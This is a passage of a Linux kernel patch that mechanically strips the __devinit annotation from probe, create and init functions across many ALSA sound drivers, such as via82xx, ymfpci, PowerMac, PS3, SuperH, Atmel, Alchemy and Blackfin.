@@ -1566,7 +1566,7 @@ static int __devinit snd_via8233a_pcm_new(struct via82xx *chip)
 /*
  * create a pcm instance for via686a/b
  */
-static int __devinit snd_via686_pcm_new(struct via82xx *chip)
+static int snd_via686_pcm_new(struct via82xx *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1895,7 +1895,7 @@ static struct ac97_quirk ac97_quirks[] = {
 	{ } /* terminator */
 };
 
-static int __devinit snd_via82xx_mixer_new(struct via82xx *chip, const char *quirk_override)
+static int snd_via82xx_mixer_new(struct via82xx *chip, const char *quirk_override)
 {
 	struct snd_ac97_template ac97;
 	int err;
@@ -1930,7 +1930,7 @@ static int __devinit snd_via82xx_mixer_new(struct via82xx *chip, const char *qui
 
 #ifdef SUPPORT_JOYSTICK
 #define JOYSTICK_ADDR	0x200
-static int __devinit snd_via686_create_gameport(struct via82xx *chip, unsigned char *legacy)
+static int snd_via686_create_gameport(struct via82xx *chip, unsigned char *legacy)
 {
 	struct gameport *gp;
 	struct resource *r;
@@ -1990,7 +1990,7 @@ static inline void snd_via686_free_gameport(struct via82xx *chip) { }
  *
  */
 
-static int __devinit snd_via8233_init_misc(struct via82xx *chip)
+static int snd_via8233_init_misc(struct via82xx *chip)
 {
 	int i, err, caps;
 	unsigned char val;
@@ -2047,7 +2047,7 @@ static int __devinit snd_via8233_init_misc(struct via82xx *chip)
 	return 0;
 }
 
-static int __devinit snd_via686_init_misc(struct via82xx *chip)
+static int snd_via686_init_misc(struct via82xx *chip)
 {
 	unsigned char legacy, legacy_cfg;
 	int rev_h = 0;
@@ -2137,7 +2137,7 @@ static void snd_via82xx_proc_read(struct snd_info_entry *entry,
 	}
 }
 
-static void __devinit snd_via82xx_proc_init(struct via82xx *chip)
+static void snd_via82xx_proc_init(struct via82xx *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -2370,7 +2370,7 @@ static int snd_via82xx_dev_free(struct snd_device *device)
 	return snd_via82xx_free(chip);
 }
 
-static int __devinit snd_via82xx_create(struct snd_card *card,
+static int snd_via82xx_create(struct snd_card *card,
 					struct pci_dev *pci,
 					int chip_type,
 					int revision,
@@ -2510,7 +2510,7 @@ static struct snd_pci_quirk dxs_whitelist[] __devinitdata = {
 	{ } /* terminator */
 };
 
-static int __devinit check_dxs_list(struct pci_dev *pci, int revision)
+static int check_dxs_list(struct pci_dev *pci, int revision)
 {
 	const struct snd_pci_quirk *w;
 
@@ -2535,7 +2535,7 @@ static int __devinit check_dxs_list(struct pci_dev *pci, int revision)
 	return VIA_DXS_48K;
 };
 
-static int __devinit snd_via82xx_probe(struct pci_dev *pci,
+static int snd_via82xx_probe(struct pci_dev *pci,
 				       const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/via82xx_modem.c b/sound/pci/via82xx_modem.c
index fa2ecc2..a7f5c64 100644
--- a/sound/pci/via82xx_modem.c
+++ b/sound/pci/via82xx_modem.c
@@ -836,7 +836,7 @@ static void init_viadev(struct via82xx_modem *chip, int idx, unsigned int reg_of
 /*
  * create a pcm instance for via686a/b
  */
-static int __devinit snd_via686_pcm_new(struct via82xx_modem *chip)
+static int snd_via686_pcm_new(struct via82xx_modem *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -885,7 +885,7 @@ static void snd_via82xx_mixer_free_ac97(struct snd_ac97 *ac97)
 }
 
 
-static int __devinit snd_via82xx_mixer_new(struct via82xx_modem *chip)
+static int snd_via82xx_mixer_new(struct via82xx_modem *chip)
 {
 	struct snd_ac97_template ac97;
 	int err;
@@ -928,7 +928,7 @@ static void snd_via82xx_proc_read(struct snd_info_entry *entry, struct snd_info_
 	}
 }
 
-static void __devinit snd_via82xx_proc_init(struct via82xx_modem *chip)
+static void snd_via82xx_proc_init(struct via82xx_modem *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1103,7 +1103,7 @@ static int snd_via82xx_dev_free(struct snd_device *device)
 	return snd_via82xx_free(chip);
 }
 
-static int __devinit snd_via82xx_create(struct snd_card *card,
+static int snd_via82xx_create(struct snd_card *card,
 					struct pci_dev *pci,
 					int chip_type,
 					int revision,
@@ -1168,7 +1168,7 @@ static int __devinit snd_via82xx_create(struct snd_card *card,
 }
 
 
-static int __devinit snd_via82xx_probe(struct pci_dev *pci,
+static int snd_via82xx_probe(struct pci_dev *pci,
 				       const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/vx222/vx222.c b/sound/pci/vx222/vx222.c
index 22d3f92..6d4fbcf 100644
--- a/sound/pci/vx222/vx222.c
+++ b/sound/pci/vx222/vx222.c
@@ -134,7 +134,7 @@ static int snd_vx222_dev_free(struct snd_device *device)
 }
 
 
-static int __devinit snd_vx222_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_vx222_create(struct snd_card *card, struct pci_dev *pci,
 				      struct snd_vx_hardware *hw,
 				      struct snd_vx222 **rchip)
 {
@@ -188,7 +188,7 @@ static int __devinit snd_vx222_create(struct snd_card *card, struct pci_dev *pci
 }
 
 
-static int __devinit snd_vx222_probe(struct pci_dev *pci,
+static int snd_vx222_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ymfpci/ymfpci.c b/sound/pci/ymfpci/ymfpci.c
index d5ccc2d..2dbb55f 100644
--- a/sound/pci/ymfpci/ymfpci.c
+++ b/sound/pci/ymfpci/ymfpci.c
@@ -79,7 +79,7 @@ static DEFINE_PCI_DEVICE_TABLE(snd_ymfpci_ids) = {
 MODULE_DEVICE_TABLE(pci, snd_ymfpci_ids);
 
 #ifdef SUPPORT_JOYSTICK
-static int __devinit snd_ymfpci_create_gameport(struct snd_ymfpci *chip, int dev,
+static int snd_ymfpci_create_gameport(struct snd_ymfpci *chip, int dev,
 						int legacy_ctrl, int legacy_ctrl2)
 {
 	struct gameport *gp;
@@ -167,7 +167,7 @@ static inline int snd_ymfpci_create_gameport(struct snd_ymfpci *chip, int dev, i
 void snd_ymfpci_free_gameport(struct snd_ymfpci *chip) { }
 #endif /* SUPPORT_JOYSTICK */
 
-static int __devinit snd_card_ymfpci_probe(struct pci_dev *pci,
+static int snd_card_ymfpci_probe(struct pci_dev *pci,
 					   const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ymfpci/ymfpci_main.c b/sound/pci/ymfpci/ymfpci_main.c
index 3a6f03f..b947594 100644
--- a/sound/pci/ymfpci/ymfpci_main.c
+++ b/sound/pci/ymfpci/ymfpci_main.c
@@ -598,7 +598,7 @@ static void snd_ymfpci_pcm_init_voice(struct snd_ymfpci_pcm *ypcm, unsigned int
 	}
 }
 
-static int __devinit snd_ymfpci_ac3_init(struct snd_ymfpci *chip)
+static int snd_ymfpci_ac3_init(struct snd_ymfpci *chip)
 {
 	if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, snd_dma_pci_data(chip->pci),
 				4096, &chip->ac3_tmp_base) < 0)
@@ -1144,7 +1144,7 @@ static struct snd_pcm_ops snd_ymfpci_capture_rec_ops = {
 	.pointer =		snd_ymfpci_capture_pointer,
 };
 
-int __devinit snd_ymfpci_pcm(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
+int snd_ymfpci_pcm(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1187,7 +1187,7 @@ static struct snd_pcm_ops snd_ymfpci_capture_ac97_ops = {
 	.pointer =		snd_ymfpci_capture_pointer,
 };
 
-int __devinit snd_ymfpci_pcm2(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
+int snd_ymfpci_pcm2(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1225,7 +1225,7 @@ static struct snd_pcm_ops snd_ymfpci_playback_spdif_ops = {
 	.pointer =		snd_ymfpci_playback_pointer,
 };
 
-int __devinit snd_ymfpci_pcm_spdif(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
+int snd_ymfpci_pcm_spdif(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1270,7 +1270,7 @@ static const struct snd_pcm_chmap_elem surround_map[] = {
 	{ }
 };
 
-int __devinit snd_ymfpci_pcm_4ch(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
+int snd_ymfpci_pcm_4ch(struct snd_ymfpci *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1826,7 +1826,7 @@ static void snd_ymfpci_mixer_free_ac97(struct snd_ac97 *ac97)
 	chip->ac97 = NULL;
 }
 
-int __devinit snd_ymfpci_mixer(struct snd_ymfpci *chip, int rear_switch)
+int snd_ymfpci_mixer(struct snd_ymfpci *chip, int rear_switch)
 {
 	struct snd_ac97_template ac97;
 	struct snd_kcontrol *kctl;
@@ -1970,7 +1970,7 @@ static struct snd_timer_hardware snd_ymfpci_timer_hw = {
 	.precise_resolution = snd_ymfpci_timer_precise_resolution,
 };
 
-int __devinit snd_ymfpci_timer(struct snd_ymfpci *chip, int device)
+int snd_ymfpci_timer(struct snd_ymfpci *chip, int device)
 {
 	struct snd_timer *timer = NULL;
 	struct snd_timer_id tid;
@@ -2006,7 +2006,7 @@ static void snd_ymfpci_proc_read(struct snd_info_entry *entry,
 		snd_iprintf(buffer, "%04x: %04x\n", i, snd_ymfpci_readl(chip, i));
 }
 
-static int __devinit snd_ymfpci_proc_init(struct snd_card *card, struct snd_ymfpci *chip)
+static int snd_ymfpci_proc_init(struct snd_card *card, struct snd_ymfpci *chip)
 {
 	struct snd_info_entry *entry;
 	
@@ -2128,7 +2128,7 @@ static void snd_ymfpci_download_image(struct snd_ymfpci *chip)
 	snd_ymfpci_enable_dsp(chip);
 }
 
-static int __devinit snd_ymfpci_memalloc(struct snd_ymfpci *chip)
+static int snd_ymfpci_memalloc(struct snd_ymfpci *chip)
 {
 	long size, playback_ctrl_size;
 	int voice, bank, reg;
@@ -2394,7 +2394,7 @@ static int snd_ymfpci_resume(struct device *dev)
 SIMPLE_DEV_PM_OPS(snd_ymfpci_pm, snd_ymfpci_suspend, snd_ymfpci_resume);
 #endif /* CONFIG_PM_SLEEP */
 
-int __devinit snd_ymfpci_create(struct snd_card *card,
+int snd_ymfpci_create(struct snd_card *card,
 				struct pci_dev * pci,
 				unsigned short old_legacy_ctrl,
 				struct snd_ymfpci ** rchip)
diff --git a/sound/ppc/awacs.c b/sound/ppc/awacs.c
index b366793..667a067 100644
--- a/sound/ppc/awacs.c
+++ b/sound/ppc/awacs.c
@@ -872,8 +872,7 @@ static void snd_pmac_awacs_update_automute(struct snd_pmac *chip, int do_notify)
 /*
  * initialize chip
  */
-int __devinit
-snd_pmac_awacs_init(struct snd_pmac *chip)
+int snd_pmac_awacs_init(struct snd_pmac *chip)
 {
 	int pm7500 = IS_PM7500;
 	int pm5500 = IS_PM5500;
diff --git a/sound/ppc/beep.c b/sound/ppc/beep.c
index a9d3507..0040f04 100644
--- a/sound/ppc/beep.c
+++ b/sound/ppc/beep.c
@@ -215,7 +215,7 @@ static struct snd_kcontrol_new snd_pmac_beep_mixer = {
 };
 
 /* Initialize beep stuff */
-int __devinit snd_pmac_attach_beep(struct snd_pmac *chip)
+int snd_pmac_attach_beep(struct snd_pmac *chip)
 {
 	struct pmac_beep *beep;
 	struct input_dev *input_dev;
diff --git a/sound/ppc/burgundy.c b/sound/ppc/burgundy.c
index 00e2d51..6c76724 100644
--- a/sound/ppc/burgundy.c
+++ b/sound/ppc/burgundy.c
@@ -617,7 +617,7 @@ static void snd_pmac_burgundy_update_automute(struct snd_pmac *chip, int do_noti
 /*
  * initialize burgundy
  */
-int __devinit snd_pmac_burgundy_init(struct snd_pmac *chip)
+int snd_pmac_burgundy_init(struct snd_pmac *chip)
 {
 	int imac = of_machine_is_compatible("iMac");
 	int i, err;
diff --git a/sound/ppc/daca.c b/sound/ppc/daca.c
index 24200b7..b865262 100644
--- a/sound/ppc/daca.c
+++ b/sound/ppc/daca.c
@@ -244,7 +244,7 @@ static void daca_cleanup(struct snd_pmac *chip)
 }
 
 /* exported */
-int __devinit snd_pmac_daca_init(struct snd_pmac *chip)
+int snd_pmac_daca_init(struct snd_pmac *chip)
 {
 	int i, err;
 	struct pmac_daca *mix;
diff --git a/sound/ppc/keywest.c b/sound/ppc/keywest.c
index 4080bec..01aecc2 100644
--- a/sound/ppc/keywest.c
+++ b/sound/ppc/keywest.c
@@ -115,7 +115,7 @@ void snd_pmac_keywest_cleanup(struct pmac_keywest *i2c)
 	}
 }
 
-int __devinit snd_pmac_tumbler_post_init(void)
+int snd_pmac_tumbler_post_init(void)
 {
 	int err;
 	
@@ -130,7 +130,7 @@ int __devinit snd_pmac_tumbler_post_init(void)
 }
 
 /* exported */
-int __devinit snd_pmac_keywest_init(struct pmac_keywest *i2c)
+int snd_pmac_keywest_init(struct pmac_keywest *i2c)
 {
 	int err;
 
diff --git a/sound/ppc/pmac.c b/sound/ppc/pmac.c
index ab96cde..792bf7b 100644
--- a/sound/ppc/pmac.c
+++ b/sound/ppc/pmac.c
@@ -702,7 +702,7 @@ static struct snd_pcm_ops snd_pmac_capture_ops = {
 	.pointer =	snd_pmac_capture_pointer,
 };
 
-int __devinit snd_pmac_pcm_new(struct snd_pmac *chip)
+int snd_pmac_pcm_new(struct snd_pmac *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -907,7 +907,7 @@ static int snd_pmac_dev_free(struct snd_device *device)
  * check the machine support byteswap (little-endian)
  */
 
-static void __devinit detect_byte_swap(struct snd_pmac *chip)
+static void detect_byte_swap(struct snd_pmac *chip)
 {
 	struct device_node *mio;
 
@@ -933,7 +933,7 @@ static void __devinit detect_byte_swap(struct snd_pmac *chip)
 /*
  * detect a sound chip
  */
-static int __devinit snd_pmac_detect(struct snd_pmac *chip)
+static int snd_pmac_detect(struct snd_pmac *chip)
 {
 	struct device_node *sound;
 	struct device_node *dn;
@@ -1161,7 +1161,7 @@ static struct snd_kcontrol_new auto_mute_controls[] __devinitdata = {
 	},
 };
 
-int __devinit snd_pmac_add_automute(struct snd_pmac *chip)
+int snd_pmac_add_automute(struct snd_pmac *chip)
 {
 	int err;
 	chip->auto_mute = 1;
@@ -1178,7 +1178,7 @@ int __devinit snd_pmac_add_automute(struct snd_pmac *chip)
 /*
  * create and detect a pmac chip record
  */
-int __devinit snd_pmac_new(struct snd_card *card, struct snd_pmac **chip_return)
+int snd_pmac_new(struct snd_card *card, struct snd_pmac **chip_return)
 {
 	struct snd_pmac *chip;
 	struct device_node *np;
diff --git a/sound/ppc/powermac.c b/sound/ppc/powermac.c
index ce6db15..625d12e 100644
--- a/sound/ppc/powermac.c
+++ b/sound/ppc/powermac.c
@@ -51,7 +51,7 @@ static struct platform_device *device;
 /*
  */
 
-static int __devinit snd_pmac_probe(struct platform_device *devptr)
+static int snd_pmac_probe(struct platform_device *devptr)
 {
 	struct snd_card *card;
 	struct snd_pmac *chip;
diff --git a/sound/ppc/snd_ps3.c b/sound/ppc/snd_ps3.c
index 9b18b52..8c7dcbe 100644
--- a/sound/ppc/snd_ps3.c
+++ b/sound/ppc/snd_ps3.c
@@ -786,7 +786,7 @@ static struct snd_pcm_ops snd_ps3_pcm_spdif_ops = {
 };
 
 
-static int __devinit snd_ps3_map_mmio(void)
+static int snd_ps3_map_mmio(void)
 {
 	the_card.mapped_mmio_vaddr =
 		ioremap(the_card.ps3_dev->m_region->bus_addr,
@@ -808,7 +808,7 @@ static void snd_ps3_unmap_mmio(void)
 	the_card.mapped_mmio_vaddr = NULL;
 }
 
-static int __devinit snd_ps3_allocate_irq(void)
+static int snd_ps3_allocate_irq(void)
 {
 	int ret;
 	u64 lpar_addr, lpar_size;
@@ -866,7 +866,7 @@ static void snd_ps3_free_irq(void)
 	ps3_irq_plug_destroy(the_card.irq_no);
 }
 
-static void __devinit snd_ps3_audio_set_base_addr(uint64_t ioaddr_start)
+static void snd_ps3_audio_set_base_addr(uint64_t ioaddr_start)
 {
 	uint64_t val;
 	int ret;
@@ -882,7 +882,7 @@ static void __devinit snd_ps3_audio_set_base_addr(uint64_t ioaddr_start)
 			ret);
 }
 
-static void __devinit snd_ps3_audio_fixup(struct snd_ps3_card_info *card)
+static void snd_ps3_audio_fixup(struct snd_ps3_card_info *card)
 {
 	/*
 	 * avsetting driver seems to never change the followings
@@ -906,7 +906,7 @@ static void __devinit snd_ps3_audio_fixup(struct snd_ps3_card_info *card)
 		   PS3_AUDIO_AO_3WMCTRL_ASOPLRCK_DEFAULT);
 }
 
-static int __devinit snd_ps3_init_avsetting(struct snd_ps3_card_info *card)
+static int snd_ps3_init_avsetting(struct snd_ps3_card_info *card)
 {
 	int ret;
 	pr_debug("%s: start\n", __func__);
@@ -928,7 +928,7 @@ static int __devinit snd_ps3_init_avsetting(struct snd_ps3_card_info *card)
 	return ret;
 }
 
-static int __devinit snd_ps3_driver_probe(struct ps3_system_bus_device *dev)
+static int snd_ps3_driver_probe(struct ps3_system_bus_device *dev)
 {
 	int i, ret;
 	u64 lpar_addr, lpar_size;
diff --git a/sound/ppc/tumbler.c b/sound/ppc/tumbler.c
index 9cea84c..6dd2e47 100644
--- a/sound/ppc/tumbler.c
+++ b/sound/ppc/tumbler.c
@@ -1276,7 +1276,7 @@ static void tumbler_resume(struct snd_pmac *chip)
 #endif
 
 /* initialize tumbler */
-static int __devinit tumbler_init(struct snd_pmac *chip)
+static int tumbler_init(struct snd_pmac *chip)
 {
 	int irq;
 	struct pmac_tumbler *mix = chip->mixer_data;
@@ -1349,7 +1349,7 @@ static void tumbler_cleanup(struct snd_pmac *chip)
 }
 
 /* exported */
-int __devinit snd_pmac_tumbler_init(struct snd_pmac *chip)
+int snd_pmac_tumbler_init(struct snd_pmac *chip)
 {
 	int i, err;
 	struct pmac_tumbler *mix;
diff --git a/sound/sh/aica.c b/sound/sh/aica.c
index 2b776ee..a6de99f 100644
--- a/sound/sh/aica.c
+++ b/sound/sh/aica.c
@@ -574,7 +574,7 @@ static int load_aica_firmware(void)
 	return err;
 }
 
-static int __devinit add_aicamixer_controls(struct snd_card_aica
+static int add_aicamixer_controls(struct snd_card_aica
 					    *dreamcastcard)
 {
 	int err;
@@ -603,7 +603,7 @@ static int __devexit snd_aica_remove(struct platform_device *devptr)
 	return 0;
 }
 
-static int __devinit snd_aica_probe(struct platform_device *devptr)
+static int snd_aica_probe(struct platform_device *devptr)
 {
 	int err;
 	struct snd_card_aica *dreamcastcard;
diff --git a/sound/sh/sh_dac_audio.c b/sound/sh/sh_dac_audio.c
index 0a33947..b0f12f2 100644
--- a/sound/sh/sh_dac_audio.c
+++ b/sound/sh/sh_dac_audio.c
@@ -261,7 +261,7 @@ static struct snd_pcm_ops snd_sh_dac_pcm_ops = {
 	.mmap		= snd_pcm_lib_mmap_iomem,
 };
 
-static int __devinit snd_sh_dac_pcm(struct snd_sh_dac *chip, int device)
+static int snd_sh_dac_pcm(struct snd_sh_dac *chip, int device)
 {
 	int err;
 	struct snd_pcm *pcm;
@@ -346,7 +346,7 @@ static enum hrtimer_restart sh_dac_audio_timer(struct hrtimer *handle)
 }
 
 /* create  --  chip-specific constructor for the cards components */
-static int __devinit snd_sh_dac_create(struct snd_card *card,
+static int snd_sh_dac_create(struct snd_card *card,
 				       struct platform_device *devptr,
 				       struct snd_sh_dac **rchip)
 {
@@ -392,7 +392,7 @@ static int __devinit snd_sh_dac_create(struct snd_card *card,
 }
 
 /* driver .probe  --  constructor */
-static int __devinit snd_sh_dac_probe(struct platform_device *devptr)
+static int snd_sh_dac_probe(struct platform_device *devptr)
 {
 	struct snd_sh_dac *chip;
 	struct snd_card *card;
diff --git a/sound/soc/atmel/atmel-pcm.c b/sound/soc/atmel/atmel-pcm.c
index 194eb85..92cc26d 100644
--- a/sound/soc/atmel/atmel-pcm.c
+++ b/sound/soc/atmel/atmel-pcm.c
@@ -473,7 +473,7 @@ static struct snd_soc_platform_driver atmel_soc_platform = {
 	.resume		= atmel_pcm_resume,
 };
 
-static int __devinit atmel_soc_platform_probe(struct platform_device *pdev)
+static int atmel_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &atmel_soc_platform);
 }
diff --git a/sound/soc/atmel/atmel_ssc_dai.c b/sound/soc/atmel/atmel_ssc_dai.c
index 90a1188..f2e6efd 100644
--- a/sound/soc/atmel/atmel_ssc_dai.c
+++ b/sound/soc/atmel/atmel_ssc_dai.c
@@ -787,7 +787,7 @@ static struct snd_soc_dai_driver atmel_ssc_dai[NUM_SSC_DEVICES] = {
 #endif
 };
 
-static __devinit int asoc_ssc_probe(struct platform_device *pdev)
+static int asoc_ssc_probe(struct platform_device *pdev)
 {
 	BUG_ON(pdev->id < 0);
 	BUG_ON(pdev->id >= ARRAY_SIZE(atmel_ssc_dai));
diff --git a/sound/soc/atmel/sam9g20_wm8731.c b/sound/soc/atmel/sam9g20_wm8731.c
index a1dfe46..1197515 100644
--- a/sound/soc/atmel/sam9g20_wm8731.c
+++ b/sound/soc/atmel/sam9g20_wm8731.c
@@ -195,7 +195,7 @@ static struct snd_soc_card snd_soc_at91sam9g20ek = {
 	.set_bias_level = at91sam9g20ek_set_bias_level,
 };
 
-static int __devinit at91sam9g20ek_audio_probe(struct platform_device *pdev)
+static int at91sam9g20ek_audio_probe(struct platform_device *pdev)
 {
 	struct clk *pllb;
 	struct snd_soc_card *card = &snd_soc_at91sam9g20ek;
diff --git a/sound/soc/au1x/ac97c.c b/sound/soc/au1x/ac97c.c
index f54edf4..a444bfb 100644
--- a/sound/soc/au1x/ac97c.c
+++ b/sound/soc/au1x/ac97c.c
@@ -223,7 +223,7 @@ static struct snd_soc_dai_driver au1xac97c_dai_driver = {
 	.ops			= &alchemy_ac97c_ops,
 };
 
-static int __devinit au1xac97c_drvprobe(struct platform_device *pdev)
+static int au1xac97c_drvprobe(struct platform_device *pdev)
 {
 	int ret;
 	struct resource *iores, *dmares;
diff --git a/sound/soc/au1x/db1000.c b/sound/soc/au1x/db1000.c
index faf55ab..2a8bf01 100644
--- a/sound/soc/au1x/db1000.c
+++ b/sound/soc/au1x/db1000.c
@@ -34,7 +34,7 @@ static struct snd_soc_card db1000_ac97 = {
 	.num_links	= 1,
 };
 
-static int __devinit db1000_audio_probe(struct platform_device *pdev)
+static int db1000_audio_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &db1000_ac97;
 	card->dev = &pdev->dev;
diff --git a/sound/soc/au1x/db1200.c b/sound/soc/au1x/db1200.c
index 2d7f9b8..f319419 100644
--- a/sound/soc/au1x/db1200.c
+++ b/sound/soc/au1x/db1200.c
@@ -176,7 +176,7 @@ static struct snd_soc_card *db1200_cards[] __devinitdata = {
 	&db1550_i2s_machine,
 };
 
-static int __devinit db1200_audio_probe(struct platform_device *pdev)
+static int db1200_audio_probe(struct platform_device *pdev)
 {
 	const struct platform_device_id *pid = platform_get_device_id(pdev);
 	struct snd_soc_card *card;
diff --git a/sound/soc/au1x/dbdma2.c b/sound/soc/au1x/dbdma2.c
index fe5bbf4..ec85c58 100644
--- a/sound/soc/au1x/dbdma2.c
+++ b/sound/soc/au1x/dbdma2.c
@@ -347,7 +347,7 @@ static struct snd_soc_platform_driver au1xpsc_soc_platform = {
 	.pcm_free	= au1xpsc_pcm_free_dma_buffers,
 };
 
-static int __devinit au1xpsc_pcm_drvprobe(struct platform_device *pdev)
+static int au1xpsc_pcm_drvprobe(struct platform_device *pdev)
 {
 	struct au1xpsc_audio_dmadata *dmadata;
 
diff --git a/sound/soc/au1x/dma.c b/sound/soc/au1x/dma.c
index 264e820..ccfbe5b 100644
--- a/sound/soc/au1x/dma.c
+++ b/sound/soc/au1x/dma.c
@@ -322,7 +322,7 @@ static struct snd_soc_platform_driver alchemy_pcm_soc_platform = {
 	.pcm_free	= alchemy_pcm_free_dma_buffers,
 };
 
-static int __devinit alchemy_pcm_drvprobe(struct platform_device *pdev)
+static int alchemy_pcm_drvprobe(struct platform_device *pdev)
 {
 	struct alchemy_pcm_ctx *ctx;
 
diff --git a/sound/soc/au1x/i2sc.c b/sound/soc/au1x/i2sc.c
index 329ec51..4737c85 100644
--- a/sound/soc/au1x/i2sc.c
+++ b/sound/soc/au1x/i2sc.c
@@ -225,7 +225,7 @@ static struct snd_soc_dai_driver au1xi2s_dai_driver = {
 	.ops = &au1xi2s_dai_ops,
 };
 
-static int __devinit au1xi2s_drvprobe(struct platform_device *pdev)
+static int au1xi2s_drvprobe(struct platform_device *pdev)
 {
 	struct resource *iores, *dmares;
 	struct au1xpsc_audio_data *ctx;
diff --git a/sound/soc/au1x/psc-ac97.c b/sound/soc/au1x/psc-ac97.c
index dab4b75..c541c92 100644
--- a/sound/soc/au1x/psc-ac97.c
+++ b/sound/soc/au1x/psc-ac97.c
@@ -361,7 +361,7 @@ static const struct snd_soc_dai_driver au1xpsc_ac97_dai_template = {
 	.ops = &au1xpsc_ac97_dai_ops,
 };
 
-static int __devinit au1xpsc_ac97_drvprobe(struct platform_device *pdev)
+static int au1xpsc_ac97_drvprobe(struct platform_device *pdev)
 {
 	int ret;
 	struct resource *iores, *dmares;
diff --git a/sound/soc/au1x/psc-i2s.c b/sound/soc/au1x/psc-i2s.c
index 73800b2..bed90cc 100644
--- a/sound/soc/au1x/psc-i2s.c
+++ b/sound/soc/au1x/psc-i2s.c
@@ -288,7 +288,7 @@ static const struct snd_soc_dai_driver au1xpsc_i2s_dai_template = {
 	.ops = &au1xpsc_i2s_dai_ops,
 };
 
-static int __devinit au1xpsc_i2s_drvprobe(struct platform_device *pdev)
+static int au1xpsc_i2s_drvprobe(struct platform_device *pdev)
 {
 	struct resource *iores, *dmares;
 	unsigned long sel;
diff --git a/sound/soc/blackfin/bf5xx-ac97-pcm.c b/sound/soc/blackfin/bf5xx-ac97-pcm.c
index cb29219..dce0f25 100644
--- a/sound/soc/blackfin/bf5xx-ac97-pcm.c
+++ b/sound/soc/blackfin/bf5xx-ac97-pcm.c
@@ -453,7 +453,7 @@ static struct snd_soc_platform_driver bf5xx_ac97_soc_platform = {
 	.pcm_free	= bf5xx_pcm_free_dma_buffers,
 };
 
-static int __devinit bf5xx_soc_platform_probe(struct platform_device *pdev)
+static int bf5xx_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_ac97_soc_platform);
 }
diff --git a/sound/soc/blackfin/bf5xx-ac97.c b/sound/soc/blackfin/bf5xx-ac97.c
index cce2e8d..6845373 100644
--- a/sound/soc/blackfin/bf5xx-ac97.c
+++ b/sound/soc/blackfin/bf5xx-ac97.c
@@ -282,7 +282,7 @@ static struct snd_soc_dai_driver bfin_ac97_dai = {
 		.formats = SNDRV_PCM_FMTBIT_S16_LE, },
 };
 
-static int __devinit asoc_bfin_ac97_probe(struct platform_device *pdev)
+static int asoc_bfin_ac97_probe(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle;
 	int ret;
diff --git a/sound/soc/blackfin/bf5xx-ad1836.c b/sound/soc/blackfin/bf5xx-ad1836.c
index f34b99f..b87f5aa 100644
--- a/sound/soc/blackfin/bf5xx-ad1836.c
+++ b/sound/soc/blackfin/bf5xx-ad1836.c
@@ -75,7 +75,7 @@ static struct snd_soc_card bf5xx_ad1836 = {
 	.num_links = 1,
 };
 
-static __devinit int bf5xx_ad1836_driver_probe(struct platform_device *pdev)
+static int bf5xx_ad1836_driver_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &bf5xx_ad1836;
 	const char **link_name;
diff --git a/sound/soc/blackfin/bf5xx-i2s-pcm.c b/sound/soc/blackfin/bf5xx-i2s-pcm.c
index a0fbb1e..b3a5cbe 100644
--- a/sound/soc/blackfin/bf5xx-i2s-pcm.c
+++ b/sound/soc/blackfin/bf5xx-i2s-pcm.c
@@ -292,7 +292,7 @@ static struct snd_soc_platform_driver bf5xx_i2s_soc_platform = {
 	.pcm_free	= bf5xx_pcm_free_dma_buffers,
 };
 
-static int __devinit bfin_i2s_soc_platform_probe(struct platform_device *pdev)
+static int bfin_i2s_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_i2s_soc_platform);
 }
diff --git a/sound/soc/blackfin/bf5xx-i2s.c b/sound/soc/blackfin/bf5xx-i2s.c
index 990b6d1..f07e3ae 100644
--- a/sound/soc/blackfin/bf5xx-i2s.c
+++ b/sound/soc/blackfin/bf5xx-i2s.c
@@ -245,7 +245,7 @@ static struct snd_soc_dai_driver bf5xx_i2s_dai = {
 	.ops = &bf5xx_i2s_dai_ops,
 };
 
-static int __devinit bf5xx_i2s_probe(struct platform_device *pdev)
+static int bf5xx_i2s_probe(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle;
 	int ret;
diff --git a/sound/soc/blackfin/bf5xx-tdm-pcm.c b/sound/soc/blackfin/bf5xx-tdm-pcm.c
index 9740e0f..23a4dec 100644
--- a/sound/soc/blackfin/bf5xx-tdm-pcm.c
+++ b/sound/soc/blackfin/bf5xx-tdm-pcm.c
@@ -317,7 +317,7 @@ static struct snd_soc_platform_driver bf5xx_tdm_soc_platform = {
 	.pcm_free       = bf5xx_pcm_free_dma_buffers,
 };
 
-static int __devinit bf5xx_soc_platform_probe(struct platform_device *pdev)
+static int bf5xx_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_tdm_soc_platform);
 }
diff --git a/sound/soc/blackfin/bf5xx-tdm.c b/sound/soc/blackfin/bf5xx-tdm.c
index a4fe59c..806f8f0 100644
